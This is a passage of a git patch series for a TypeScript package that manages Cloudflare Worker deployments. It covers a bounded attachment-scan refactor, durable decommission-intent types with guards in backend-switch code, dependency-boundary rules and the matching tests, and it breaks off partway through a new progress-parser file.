CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( 'ordinary Worker script inventory', - INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } } @@ -1183,10 +1191,10 @@ async function listDispatchNamespaces( ? namespace.script_count : null, }); - if (namespaces.length > INVENTORY_BOUND) { + if (namespaces.length > CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( 'dispatch namespace inventory', - INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } } @@ -1261,10 +1269,10 @@ function deploymentVersions( ? percentage : undefined, }); - if (versions.length > INVENTORY_BOUND) { + if (versions.length > CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( `ordinary Worker '${scriptName}' deployment version inventory`, - INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } } @@ -1334,13 +1342,7 @@ function completeDispatchNamespaceEvidence( export async function advanceWorkerAttachmentScan( context: CloudflareWorkerAttachmentScanContext, - input: { - readonly target: WorkerAttachmentScanTarget; - readonly progress: WorkerAttachmentScanProgress; - readonly maxProviderRequests: number; - readonly signal?: AbortSignal; - readonly stopOnFirstAttachment?: boolean; - }, + input: WorkerAttachmentScanInput, ): Promise { let progress = parseWorkerAttachmentScanProgress( input.progress, @@ -1614,7 +1616,7 @@ export async function advanceWorkerAttachmentScan( pageNumber: 0, seenCursorSha256: [], totalDispatchItems: 0, - dispatchEvidenceSum256: EMPTY_MULTISET_SHA256, + dispatchEvidenceSum256: EMPTY_MULTISET_SUM256, dispatchEvidenceCount: 0, }; continue; @@ -1644,10 +1646,10 @@ export async function advanceWorkerAttachmentScan( const pageScripts = canonicalDispatchScripts(page.scripts); const totalDispatchItems = progress.totalDispatchItems + pageScripts.length; - if (totalDispatchItems > INVENTORY_BOUND) { + if (totalDispatchItems > CLOUDFLARE_INVENTORY_BOUND) { throw inventoryBoundExceeded( 'dispatch script inventory', - INVENTORY_BOUND, + CLOUDFLARE_INVENTORY_BOUND, ); } let seenCursorSha256 = progress.seenCursorSha256; diff --git a/packages/fleet-control/test/worker-attachment-scan.test.ts b/packages/fleet-control/test/worker-attachment-scan.test.ts index 66e24403..19c7e01c 100644 --- a/packages/fleet-control/test/worker-attachment-scan.test.ts +++ b/packages/fleet-control/test/worker-attachment-scan.test.ts @@ -571,6 +571,50 @@ describe('Cloudflare Worker attachment scan', () => { expect( result.chunks.map((chunk) => chunk.providerFetchAttemptsReserved), ).toContain(9); + + let sdkAttempts = 0; + const sdkFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + sdkAttempts += 1; + return sdkAttempts < 3 ? apiFailure(503) : pageArray([]); + } + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + const sdkResult = await drain(client(sdkFixture.fetch), D1_TARGET, { + budget: 9, + }); + expect(sdkResult.terminal).toMatchObject({ + status: 'complete', + providerFetchAttemptsReserved: 6, + }); + expect(sdkAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS); + + let ceilingAttempts = 0; + const ceilingFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) { + ceilingAttempts += 1; + return ceilingAttempts <= CLOUDFLARE_SDK_MAX_ATTEMPTS + ? apiFailure(503) + : pageArray([]); + } + if (target.pathname.endsWith('/workers/dispatch/namespaces')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + let ceilingError: unknown; + try { + await drain(client(ceilingFixture.fetch), D1_TARGET, { budget: 9 }); + } catch (error) { + ceilingError = error; + } + expect(ceilingError).toBeInstanceOf(Error); + expect(ceilingAttempts).toBe(CLOUDFLARE_SDK_MAX_ATTEMPTS); }); it('resumes an ordinary version index without repeating a committed version read', async () => { @@ -1570,24 +1614,29 @@ describe('Cloudflare Worker attachment scan', () => { drain(client(plainFixture.fetch), D1_TARGET), ).rejects.toMatchObject({ status: 404 }); - vi.spyOn(BaseNamespaces.prototype, 'list').mockReturnValueOnce( - (async function* () { - yield { namespace_name: 'first' }; - throw Object.assign(new Error('later missing'), { status: 404 }); - })() as never, - ); - const laterFixture = recordingFetch(({ url }) => { - const target = new URL(url); - if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); - if (target.pathname.endsWith('/namespaces/first/scripts')) { - return pageArray([]); - } - throw new Error(`unexpected request ${target.pathname}`); - }); - await expect( - drain(client(laterFixture.fetch, { plainOnly: true }), D1_TARGET), - ).rejects.toMatchObject({ status: 404 }); - vi.restoreAllMocks(); + const namespaceList = vi + .spyOn(BaseNamespaces.prototype, 'list') + .mockReturnValueOnce( + (async function* () { + yield { namespace_name: 'first' }; + throw Object.assign(new Error('later missing'), { status: 404 }); + })() as never, + ); + try { + const laterFixture = recordingFetch(({ url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/workers/scripts')) return pageArray([]); + if (target.pathname.endsWith('/namespaces/first/scripts')) { + return pageArray([]); + } + throw new Error(`unexpected request ${target.pathname}`); + }); + await expect( + drain(client(laterFixture.fetch, { plainOnly: true }), D1_TARGET), + ).rejects.toMatchObject({ status: 404 }); + } finally { + namespaceList.mockRestore(); + } }); it('returns attached only for a match and makes no provider call after an early match', async () => { @@ -1779,9 +1828,18 @@ describe('Cloudflare Worker attachment scan', () => { headers.push(request.headers.get('authorization') ?? ''); return pageArray([], { cursor: 42 as unknown as string }); }); - await expect(drain(client(fixture.fetch), D1_TARGET)).rejects.toThrow( + let refusal: unknown; + try { + await drain(client(fixture.fetch), D1_TARGET); + } catch (error) { + refusal = error; + } + expect(refusal).toBeInstanceOf(Error); + expect((refusal as Error).message).toBe( 'Cloudflare dispatch script listing returned a malformed cursor', ); + expect(String(refusal)).not.toContain('token'); + expect(String(refusal)).not.toContain('Bearer'); expect(headers).toEqual(['Bearer token']); expect( JSON.stringify(initialWorkerAttachmentScan(D1_TARGET)), From 936401bac8e62cd71708972df24146553dd3e95a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sat, 29 Aug 2026 23:48:42 +0400 Subject: [PATCH 028/169] feat(fleet-control): persist decommission operations --- .dependency-cruiser.cjs | 32 + packages/fleet-control/CLAUDE.md | 3 +- .../scripts/packed-consumer-test.mjs | 49 + packages/fleet-control/src/backend-switch.ts | 12 + ...cloudflare-worker-attachment-scan-state.ts | 582 ++++++++++ .../src/cloudflare-worker-attachment-scan.ts | 746 +------------ .../fleet-control/src/decommission-intent.ts | 662 ++++++++++++ packages/fleet-control/src/fleet.ts | 33 +- packages/fleet-control/src/index.ts | 12 + .../fleet-control/src/platform-resources.ts | 24 +- packages/fleet-control/src/provision.ts | 16 +- packages/fleet-control/src/state-store.ts | 297 ++++-- .../fleet-control/src/strict-plain-data.ts | 192 ++++ packages/fleet-control/src/types.ts | 261 +++++ .../fleet-control/test/backend-switch.test.ts | 99 ++ .../test/decommission-intent.test.ts | 990 ++++++++++++++++++ .../fixtures/fleet-state-harness-probe.ts | 194 +++- packages/fleet-control/test/fleet.test.ts | 77 ++ .../test/platform-resources.test.ts | 100 ++ packages/fleet-control/test/provision.test.ts | 223 ++++ .../test/state-store.harness.test.ts | 43 +- .../fleet-control/test/state-store.test.ts | 595 ++++++++++- .../test/strict-plain-data.test.ts | 168 +++ .../test/worker-attachment-scan.test.ts | 38 + .../decommission-state-imports-provider.ts | 4 + .../architecture-positive-controls.test.mjs | 26 + 26 files changed, 4629 insertions(+), 849 deletions(-) create mode 100644 packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts create mode 100644 packages/fleet-control/src/decommission-intent.ts create mode 100644 packages/fleet-control/src/strict-plain-data.ts create mode 100644 packages/fleet-control/test/decommission-intent.test.ts create mode 100644 packages/fleet-control/test/strict-plain-data.test.ts create mode 100644 scripts/architecture-fixtures/decommission-state-imports-provider.ts diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index cb4992c0..0713f88a 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -187,6 +187,38 @@ module.exports = { reachable: true, }, }, + { + name: 'fleet-control-decommission-state-does-not-reach-provider', + severity: 'error', + comment: + 'Persisted decommission state is a provider-free authority boundary. Keeping provider clients, operations, and error classification out of its reachable graph prevents the Fleet D1 codec from acquiring credential or transport dependencies.', + from: { + path: [ + '^packages/fleet-control/src/(?:strict-plain-data|cloudflare-worker-attachment-scan-state|decommission-intent|state-store)\\.ts$', + '^scripts/architecture-fixtures/decommission-state-imports-provider\\.ts$', + ], + }, + to: { + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors)\\.ts$|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + reachable: true, + }, + }, + { + name: 'fleet-control-strict-plain-data-is-import-free', + severity: 'error', + comment: + 'The descriptor-safe plain-data guard is shared by persisted codecs and must remain an import-free leaf so validation cannot execute package code before it rejects hostile input.', + from: { + path: [ + '^packages/fleet-control/src/strict-plain-data\\.ts$', + '^scripts/architecture-fixtures/decommission-state-imports-provider\\.ts$', + ], + }, + to: { + path: '.*', + reachable: true, + }, + }, { name: 'fleet-control-ports-do-not-reach-d1-adapter', severity: 'error', diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index c4cd9e21..2644e70f 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -16,7 +16,8 @@ Source map: - `provision.ts`, `backend-switch.ts`, `fleet.ts`: deployment lifecycle state machines - `workers-for-platforms-backend.ts`, `plain-worker-backend.ts`, `wrangler-loop-backend.ts`, `cloudflare-api-plain-worker-backend.ts`: provisioning backends (the Workers for Platforms backend, the shared ordinary-Worker core, and its Wrangler and direct-API adapters) - `cloudflare-client.ts`, `cloudflare-ordinary-worker-operations.ts`, `cloudflare-provider-errors.ts`, `cloudflare-rate-coordinator.ts`: provider API (the client, the ordinary-Worker operations behind it, the SDK-error helpers) and its shared quota fence -- `cloudflare-client-config.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds and the request-bounded account-wide D1/R2 attachment scanner +- `cloudflare-client-config.ts`, `strict-plain-data.ts`, `cloudflare-worker-attachment-scan-state.ts`, `cloudflare-worker-attachment-scan.ts`: shared SDK retry bounds, strict resumable state, and the request-bounded account-wide D1/R2 attachment scanner +- `decommission-intent.ts`: strict durable decommission shell and continuation-token codecs - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) - `workers/`: the platform's own deployed Workers, published as separate export entries diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 5cd7e44a..ba316e81 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -208,12 +208,24 @@ try { type CloudflareApiRateCoordinator, type DeploymentEgressPolicy, type DeploymentSpec, + type DecommissionAdvanceIntent, + type DecommissionAdvanceToken, + type DecommissionAdvanceTokenClassification, + type DecommissionAttachmentProgress, + type DecommissionAttachmentPurpose, + type DecommissionAttachmentScanEvidence, + type DecommissionBlockedAttachment, + type DecommissionIntentCommon, + type DecommissionOperationIdentity, + type DecommissionOperationMode, + type DecommissionRecordIdentity, type FleetRecord, type FleetSettlementContext, type FleetSettlementEntry, type FleetSettlementHost, type FleetStateDatabase, type InitialExecutionFenceState, + type NormalDecommissionLifecyclePhase, type ObservedActiveRoute, type PlainWorkerBackendOptions, type PlainWorkerCleanupOutcome, @@ -252,6 +264,18 @@ declare const coordinator: CloudflareApiRateCoordinator; declare const deploymentSpec: DeploymentSpec; declare const provisioningBackend: ProvisioningBackend; declare const fleetRecord: FleetRecord; +declare const decommissionIntent: DecommissionAdvanceIntent; +declare const decommissionToken: DecommissionAdvanceToken; +declare const decommissionClassification: DecommissionAdvanceTokenClassification; +declare const decommissionProgress: DecommissionAttachmentProgress; +declare const decommissionPurpose: DecommissionAttachmentPurpose; +declare const decommissionEvidence: DecommissionAttachmentScanEvidence; +declare const decommissionAttachment: DecommissionBlockedAttachment; +declare const decommissionCommon: DecommissionIntentCommon; +declare const decommissionIdentity: DecommissionOperationIdentity; +declare const decommissionMode: DecommissionOperationMode; +declare const decommissionRecordIdentity: DecommissionRecordIdentity; +declare const decommissionPhase: NormalDecommissionLifecyclePhase; declare const plainWorkerRouteApi: PlainWorkerRouteApi; declare const plainWorkerProvisioningApiShape: PlainWorkerProvisioningApi; const plainWorkerBackendOptions: PlainWorkerBackendOptions = { @@ -319,6 +343,31 @@ type SettledSettlementKeyIsOptional = {} extends Pick< const settledSettlementKeyIsOptional: SettledSettlementKeyIsOptional = true; const settledSettlementKey: string | undefined = fleetRecord.settledSettlementKey; +type DecommissionIntentIsOptional = {} extends Pick< + FleetRecord, + 'decommissionIntent' +> + ? true + : false; +const decommissionIntentIsOptional: DecommissionIntentIsOptional = true; +const storedDecommissionIntent: DecommissionAdvanceIntent | undefined = + fleetRecord.decommissionIntent; +void [ + decommissionIntent, + decommissionToken, + decommissionClassification, + decommissionProgress, + decommissionPurpose, + decommissionEvidence, + decommissionAttachment, + decommissionCommon, + decommissionIdentity, + decommissionMode, + decommissionRecordIdentity, + decommissionPhase, + decommissionIntentIsOptional, + storedDecommissionIntent, +]; const customDomain: PlainWorkerCustomDomain = { id: 'domain-id', hostname: 'acme.example.test', diff --git a/packages/fleet-control/src/backend-switch.ts b/packages/fleet-control/src/backend-switch.ts index 1f7c9677..d35b1b38 100644 --- a/packages/fleet-control/src/backend-switch.ts +++ b/packages/fleet-control/src/backend-switch.ts @@ -39,6 +39,7 @@ import type { FleetStateLease, FleetStateStore, } from './types.js'; +import { assertNoActiveDecommission } from './types.js'; export const BACKEND_SWITCH_SUBPHASES = [ 'planned', @@ -1457,6 +1458,10 @@ export async function reconcileFinalizedBackendSwitchState(input: { readonly lease: FleetStateLease; readonly clock: () => number; }): Promise { + assertNoActiveDecommission( + input.record, + 'reconcileFinalizedBackendSwitchState', + ); const priorBridge = finalizedBridgeForRecord(input.record); const switchIntent = input.record.backendSwitchIntent; if (!switchIntent) { @@ -1714,6 +1719,10 @@ export async function switchPlainDeploymentToWorkersForPlatforms(options: { options.priorSpec.tenantTag, options.priorSpec.environment, async (lease) => { + assertNoActiveDecommission( + lease.current(), + 'switchPlainDeploymentToWorkersForPlatforms', + ); let intent = await lease.get(); if (!intent) { const prior = await options.provider.snapshotPlainDeployment( @@ -1949,6 +1958,7 @@ export async function rollbackBackendSwitch(options: { options.priorSpec.tenantTag, options.priorSpec.environment, async (lease) => { + assertNoActiveDecommission(lease.current(), 'rollbackBackendSwitch'); let intent = await lease.get(); if (!intent) { throw new Error('backend switch has no rollback snapshot'); @@ -2145,6 +2155,7 @@ export async function finalizeBackendSwitch(options: { options.targetSpec.tenantTag, options.targetSpec.environment, async (lease) => { + assertNoActiveDecommission(lease.current(), 'finalizeBackendSwitch'); let intent = await lease.get(); if (!intent?.bridge || !intent.candidate) { throw new Error('backend switch has no finalization snapshot'); @@ -2347,6 +2358,7 @@ export async function decommissionBackendSwitch(options: { options.priorSpec.tenantTag, options.priorSpec.environment, async (lease) => { + assertNoActiveDecommission(lease.current(), 'decommissionBackendSwitch'); let intent = await lease.get(); if (!intent) throw new Error('backend switch has no decommission snapshot'); diff --git a/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts new file mode 100644 index 00000000..0f2af1cb --- /dev/null +++ b/packages/fleet-control/src/cloudflare-worker-attachment-scan-state.ts @@ -0,0 +1,582 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { CLOUDFLARE_INVENTORY_BOUND } from './cloudflare-client-config.js'; +import { cloneBoundedPlainData } from './strict-plain-data.js'; + +export const WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE = 100; +export const WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND = 100; +const PROGRESS_BYTE_BOUND = 65_536; +export const WORKER_ATTACHMENT_CURSOR_BYTE_BOUND = 4_096; +export const WORKER_ATTACHMENT_EVIDENCE_BOUND = 1_000_000; +const PLAIN_DATA_DEPTH_BOUND = 64; +const PLAIN_DATA_NODE_BOUND = 8_192; +const SHA256_PATTERN = /^[0-9a-f]{64}$/; +export const WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256 = '0'.repeat(64); + +export type WorkerAttachmentScanTarget = + | Readonly<{ kind: 'd1'; databaseId: string }> + | Readonly<{ kind: 'r2'; bucketName: string }>; + +export interface WorkerAttachment { + readonly scriptName: string; + readonly plane: 'ordinary' | 'dispatch'; + readonly dispatchNamespace?: string; +} + +interface ScanCommon { + readonly version: 1; + readonly target: WorkerAttachmentScanTarget; + readonly evidenceSha256: string; + readonly evidenceCount: number; +} + +export type WorkerAttachmentScanProgress = + | (ScanCommon & + Readonly<{ + stage: 'ordinary-script-inventory'; + ordinaryInventorySha256?: string; + scriptIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'ordinary-deployment'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + }>) + | (ScanCommon & + Readonly<{ + stage: 'ordinary-version'; + ordinaryInventorySha256: string; + scriptIndex: number; + scriptName: string; + deploymentSha256: string; + versionIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-namespace-inventory'; + ordinaryInventorySha256: string; + namespaceInventorySha256?: string; + namespaceIndex: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-script-page'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>) + | (ScanCommon & + Readonly<{ + stage: 'dispatch-script-settings'; + ordinaryInventorySha256: string; + namespaceInventorySha256: string; + namespaceIndex: number; + namespaceName: string; + pageStartCursor?: string; + nextCursor?: string; + pageSha256: string; + pageItemCount: number; + itemOffset: number; + pageNumber: number; + seenCursorSha256: readonly string[]; + totalDispatchItems: number; + dispatchEvidenceSum256: string; + dispatchEvidenceCount: number; + }>); + +export type WorkerAttachmentScanChunk = + | Readonly<{ + status: 'pending'; + progress: WorkerAttachmentScanProgress; + attachments: readonly WorkerAttachment[]; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + status: 'attached'; + attachment: WorkerAttachment; + providerFetchAttemptsReserved: number; + }> + | Readonly<{ + status: 'complete'; + evidenceSha256: string; + evidenceCount: number; + attachments: readonly WorkerAttachment[]; + providerFetchAttemptsReserved: number; + }>; + +export interface WorkerAttachmentScanInput { + readonly target: WorkerAttachmentScanTarget; + readonly progress: WorkerAttachmentScanProgress; + readonly maxProviderRequests: number; + readonly signal?: AbortSignal; + readonly stopOnFirstAttachment?: boolean; +} + +export class CloudflareAttachmentScanProgressError extends Error { + constructor() { + super('Cloudflare attachment scan progress is malformed'); + this.name = 'CloudflareAttachmentScanProgressError'; + } +} + +function sha256(value: string): string { + return createHash('sha256').update(value).digest('hex'); +} + +function targetValue(target: WorkerAttachmentScanTarget): string { + return target.kind === 'd1' ? target.databaseId : target.bucketName; +} + +function initialEvidence(target: WorkerAttachmentScanTarget): string { + return sha256( + JSON.stringify(['attachment-scan-v1', target.kind, targetValue(target)]), + ); +} + +function utf8Length(value: string): number { + return new TextEncoder().encode(value).byteLength; +} + +function normalized(value: unknown): unknown { + return cloneBoundedPlainData(value, { + maxDepth: PLAIN_DATA_DEPTH_BOUND, + maxNodes: PLAIN_DATA_NODE_BOUND, + maxScalarBytes: PROGRESS_BYTE_BOUND, + maxSerializedBytes: PROGRESS_BYTE_BOUND, + error: () => new CloudflareAttachmentScanProgressError(), + }); +} + +function plainRecord(value: unknown): Record | undefined { + return typeof value === 'object' && value !== null && !Array.isArray(value) + ? (value as Record) + : undefined; +} + +function exactKeys( + value: Record, + required: readonly string[], + optional: readonly string[] = [], +): boolean { + const keys = Object.keys(value).sort(); + const allowed = [...required, ...optional].sort(); + return ( + required.every((key) => Object.hasOwn(value, key)) && + keys.length === + allowed.length - + optional.filter((key) => !Object.hasOwn(value, key)).length && + keys.every((key) => allowed.includes(key)) + ); +} + +function safeInteger( + value: unknown, + maximum = Number.MAX_SAFE_INTEGER, +): value is number { + return ( + Number.isSafeInteger(value) && + Number(value) >= 0 && + Number(value) <= maximum + ); +} + +function hash(value: unknown): value is string { + return typeof value === 'string' && SHA256_PATTERN.test(value); +} + +function boundedString( + value: unknown, + options: { readonly allowEmpty?: boolean } = {}, +): value is string { + return ( + typeof value === 'string' && + (options.allowEmpty || value.length > 0) && + utf8Length(value) <= WORKER_ATTACHMENT_CURSOR_BYTE_BOUND + ); +} + +function parseTarget(value: unknown): WorkerAttachmentScanTarget | undefined { + const record = plainRecord(value); + if (!record || typeof record.kind !== 'string') return undefined; + if ( + record.kind === 'd1' && + exactKeys(record, ['kind', 'databaseId']) && + boundedString(record.databaseId) + ) { + return { kind: 'd1', databaseId: record.databaseId }; + } + if ( + record.kind === 'r2' && + exactKeys(record, ['kind', 'bucketName']) && + boundedString(record.bucketName) + ) { + return { kind: 'r2', bucketName: record.bucketName }; + } + return undefined; +} + +function sameTarget( + left: WorkerAttachmentScanTarget, + right: WorkerAttachmentScanTarget, +): boolean { + return left.kind === right.kind && targetValue(left) === targetValue(right); +} + +const COMMON_KEYS = [ + 'version', + 'target', + 'stage', + 'evidenceSha256', + 'evidenceCount', +] as const; + +function parseCommon( + record: Record, + target: WorkerAttachmentScanTarget, +): ScanCommon | undefined { + const parsedTarget = parseTarget(record.target); + if ( + record.version !== 1 || + !parsedTarget || + !sameTarget(parsedTarget, target) || + !hash(record.evidenceSha256) || + !safeInteger(record.evidenceCount, WORKER_ATTACHMENT_EVIDENCE_BOUND) + ) { + return undefined; + } + return { + version: 1, + target: parsedTarget, + evidenceSha256: record.evidenceSha256, + evidenceCount: record.evidenceCount, + }; +} + +function cursorHashes(value: unknown): readonly string[] | undefined { + if ( + !Array.isArray(value) || + value.length > WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND || + !value.every(hash) || + new Set(value).size !== value.length + ) { + return undefined; + } + return [...value] as string[]; +} + +function validPageStart( + pageNumber: number, + pageStartCursor: unknown, + seenCursorSha256: readonly string[], +): boolean { + if (pageNumber === 0) return pageStartCursor === undefined; + return ( + typeof pageStartCursor === 'string' && + seenCursorSha256[pageNumber - 1] === sha256(pageStartCursor) + ); +} + +export function parseWorkerAttachmentScanProgress( + value: unknown, + target: WorkerAttachmentScanTarget, +): WorkerAttachmentScanProgress { + const plain = normalized(value); + const record = plainRecord(plain); + if (!record || typeof record.stage !== 'string') { + throw new CloudflareAttachmentScanProgressError(); + } + const parsedExpectedTarget = parseTarget(normalized(target)); + if (!parsedExpectedTarget) throw new CloudflareAttachmentScanProgressError(); + const common = parseCommon(record, parsedExpectedTarget); + if (!common) throw new CloudflareAttachmentScanProgressError(); + + const malformed = (): never => { + throw new CloudflareAttachmentScanProgressError(); + }; + switch (record.stage) { + case 'ordinary-script-inventory': { + if ( + !exactKeys( + record, + [...COMMON_KEYS, 'scriptIndex'], + ['ordinaryInventorySha256'], + ) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || + record.ordinaryInventorySha256 !== undefined || + record.scriptIndex !== 0 || + common.evidenceCount !== 0 || + common.evidenceSha256 !== initialEvidence(common.target) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + scriptIndex: record.scriptIndex, + ...(typeof record.ordinaryInventorySha256 === 'string' + ? { ordinaryInventorySha256: record.ordinaryInventorySha256 } + : {}), + }; + } + case 'ordinary-deployment': { + if ( + !exactKeys(record, [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'scriptIndex', + 'scriptName', + ]) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || + !boundedString(record.scriptName) || + common.evidenceCount < record.scriptIndex + 1 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + scriptIndex: record.scriptIndex, + scriptName: record.scriptName, + }; + } + case 'ordinary-version': { + if ( + !exactKeys(record, [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'scriptIndex', + 'scriptName', + 'deploymentSha256', + 'versionIndex', + ]) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.scriptIndex, CLOUDFLARE_INVENTORY_BOUND) || + !boundedString(record.scriptName) || + !hash(record.deploymentSha256) || + !safeInteger(record.versionIndex, CLOUDFLARE_INVENTORY_BOUND) || + common.evidenceCount < record.scriptIndex + record.versionIndex + 2 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + scriptIndex: record.scriptIndex, + scriptName: record.scriptName, + deploymentSha256: record.deploymentSha256, + versionIndex: record.versionIndex, + }; + } + case 'dispatch-namespace-inventory': { + if ( + !exactKeys( + record, + [...COMMON_KEYS, 'ordinaryInventorySha256', 'namespaceIndex'], + ['namespaceInventorySha256'], + ) || + !hash(record.ordinaryInventorySha256) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || + record.namespaceInventorySha256 !== undefined || + record.namespaceIndex !== 0 || + common.evidenceCount < 1 + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceIndex: record.namespaceIndex, + ...(typeof record.namespaceInventorySha256 === 'string' + ? { namespaceInventorySha256: record.namespaceInventorySha256 } + : {}), + }; + } + case 'dispatch-script-page': { + const seen = cursorHashes(record.seenCursorSha256); + if ( + !exactKeys( + record, + [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'namespaceInventorySha256', + 'namespaceIndex', + 'namespaceName', + 'pageNumber', + 'seenCursorSha256', + 'totalDispatchItems', + 'dispatchEvidenceSum256', + 'dispatchEvidenceCount', + ], + ['pageStartCursor'], + ) || + !hash(record.ordinaryInventorySha256) || + !hash(record.namespaceInventorySha256) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || + !boundedString(record.namespaceName) || + (record.pageStartCursor !== undefined && + !boundedString(record.pageStartCursor)) || + !safeInteger( + record.pageNumber, + WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1, + ) || + !seen || + !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || + !hash(record.dispatchEvidenceSum256) || + !safeInteger( + record.dispatchEvidenceCount, + CLOUDFLARE_INVENTORY_BOUND, + ) || + record.dispatchEvidenceCount !== record.totalDispatchItems || + (record.dispatchEvidenceCount === 0 && + record.dispatchEvidenceSum256 !== + WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256) || + seen.length !== record.pageNumber || + !validPageStart(record.pageNumber, record.pageStartCursor, seen) || + common.evidenceCount < record.namespaceIndex + 2 || + (record.pageNumber === 0 && record.totalDispatchItems !== 0) + ) { + return malformed(); + } + return { + ...common, + stage: record.stage, + ordinaryInventorySha256: record.ordinaryInventorySha256, + namespaceInventorySha256: record.namespaceInventorySha256, + namespaceIndex: record.namespaceIndex, + namespaceName: record.namespaceName, + ...(typeof record.pageStartCursor === 'string' + ? { pageStartCursor: record.pageStartCursor } + : {}), + pageNumber: record.pageNumber, + seenCursorSha256: seen, + totalDispatchItems: record.totalDispatchItems, + dispatchEvidenceSum256: record.dispatchEvidenceSum256, + dispatchEvidenceCount: record.dispatchEvidenceCount, + }; + } + case 'dispatch-script-settings': { + const seen = cursorHashes(record.seenCursorSha256); + if ( + !exactKeys( + record, + [ + ...COMMON_KEYS, + 'ordinaryInventorySha256', + 'namespaceInventorySha256', + 'namespaceIndex', + 'namespaceName', + 'pageSha256', + 'pageItemCount', + 'itemOffset', + 'pageNumber', + 'seenCursorSha256', + 'totalDispatchItems', + 'dispatchEvidenceSum256', + 'dispatchEvidenceCount', + ], + ['pageStartCursor', 'nextCursor'], + ) || + !hash(record.ordinaryInventorySha256) || + !hash(record.namespaceInventorySha256) || + !safeInteger(record.namespaceIndex, CLOUDFLARE_INVENTORY_BOUND) || + !boundedString(record.namespaceName) || + (record.pageStartCursor !== undefined && + !boundedString(record.pageStartCursor)) || + (record.nextCursor !== undefined && + !boundedString(record.nextCursor)) || + !hash(record.pageSha256) || + !safeInteger( + record.pageItemCount, + WORKER_ATTACHMENT_DISPATCH_PAGE_SIZE, + ) || + record.pageItemCount === 0 || + !safeInteger(record.itemOffset, record.pageItemCount as number) || + !safeInteger( + record.pageNumber, + WORKER_ATTACHMENT_DISPATCH_PAGE_BOUND - 1, + ) || + !seen || + !safeInteger(record.totalDispatchItems, CLOUDFLARE_INVENTORY_BOUND) || + !hash(record.dispatchEvidenceSum256) || + !safeInteger( + record.dispatchEvidenceCount, + CLOUDFLARE_INVENTORY_BOUND, + ) || + (record.dispatchEvidenceCount === 0 && + record.dispatchEvidenceSum256 !== + WORKER_ATTACHMENT_EMPTY_MULTISET_SUM256) || + record.totalDispatchItems < 